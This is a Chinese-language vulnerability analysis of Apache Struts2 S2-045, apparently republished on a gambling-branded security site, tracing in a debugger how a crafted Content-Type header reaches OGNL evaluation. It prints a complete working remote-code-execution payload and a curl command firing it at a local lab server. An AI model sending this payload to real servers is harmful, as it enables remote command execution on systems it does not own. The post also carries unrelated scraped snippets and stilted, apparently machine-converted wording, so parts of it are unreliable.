Struts破绽 S2-045 调试进修 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Struts破绽 S2-045 调试进修

申博_安全防护 申博 318次浏览 已收录 0个评论

OSINT Primer:构造(第3局部)

我介绍了很多关于OSINT的内容。然而,仍有一些技术和想法未被公开。我将它们放在了这篇文章中,因为我觉得它们大多与组织有关。

S2-045 调试进修

破绽版本

2.3.31-2.3.5 2.5-2.5.10

破绽成因

content-type里有multipart/form-data就会走JakartaMultiPartRequest,捕获了非常信息(内里带有payload),后又OGNL剖析了

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

payload

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

从burp内里导的curl command

curl -i -s -k  -X $'POST' \
    -H $'Host: 192.168.95.1:8081' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36' -H $'Accept: */*' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: %{(#fuck=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'id\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' -H $'Content-Length: 0' \
    $'http://192.168.95.1:8081/S2_045_war_exploded/'

调试

修复处所 我把断点也下在这里了
Struts破绽 S2-045 调试进修

都先经由web.xml 阻拦 Struts2PrepareAndExecutefilter
处置惩罚要求
Struts破绽 S2-045 调试进修
Struts破绽 S2-045 调试进修
这个处所 猎取ContentType
2-045的POC一样平常都有(#nike=’multipart/form-data’)如许一句,就是使content_type.contains(“multipart/form-data”)推断为true
继承追踪getMultiPartRequest要领。经由过程设置装备摆设struts.multipart.parser属性,能够指定分歧的剖析类,而默许就是org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类。
Struts破绽 S2-045 调试进修
这里已能够看到是用JakartaMultiPartReques剖析了

Struts破绽 S2-045 调试进修
Struts破绽 S2-045 调试进修
Struts破绽 S2-045 调试进修
再继承findText
Struts破绽 S2-045 调试进修
Struts破绽 S2-045 调试进修
com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String, ValueStack) 要领重要用于扩大字符串中由 ${} 或 %{} 包裹的 OGNL 表达式,这里也就是 OGNL 的进口,随后 action message 将进入 OGNL 的处置惩罚流程,破绽被触发。
Struts破绽 S2-045 调试进修
Struts破绽 S2-045 调试进修
Struts破绽 S2-045 调试进修
下一步 又继承 剖析
com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator#evaluate
Struts破绽 S2-045 调试进修
继承跟 发明进了语法树
com.opensymphony.xwork2.ognl.OgnlUtil#compileAndExecute
Struts破绽 S2-045 调试进修
ognl.ASTVarRef#setValueBody
Struts破绽 S2-045 调试进修
Struts破绽 S2-045 调试进修
Struts破绽 S2-045 调试进修
这个处所实行 OGNL 表达式
Struts破绽 S2-045 调试进修
在mac上调试的
payload里
#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win’))
实行以后就是false
com.opensymphony.xwork2.ognl.OgnlValueStack#setOgnlUtil
Struts破绽 S2-045 调试进修

当要求到来的时刻,一个ActionContext工具被createActionContext要领建立。
OgnlValueStack 的setOgnlUtil函数被挪用,以用来初始化OgnlValueStack 的securityMemberAccess ,如许就取得OgnlUtil的全局实例
这就意味着全局OgnlUtil 实例都同享雷同的SET:excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns作为_memberAccess,以是消灭这些以后也会消灭与_memberAccess相匹配的SET。
在那以后,OGNL 就能够自在的接见DEFAULT_MEMBER_ACCESS工具而且 OgnlContext 的 setMemberAccess 替代了 _memberAccess和DEFAULT_MEMBER_ACCESS,如许就能够实行恣意代码了

详解变形金刚

前言 Android逆向,最近一次写android逆向相关的文章已经是一年前了。。 难受 本题虽然简单,但是也值得深挖一下。在做题的时候我较为详细的记录了,在此我也会比较详细的讲讲,主要面向像我这样的小白,同大家分享。 工具 需要使用到的


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Struts破绽 S2-045 调试进修
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址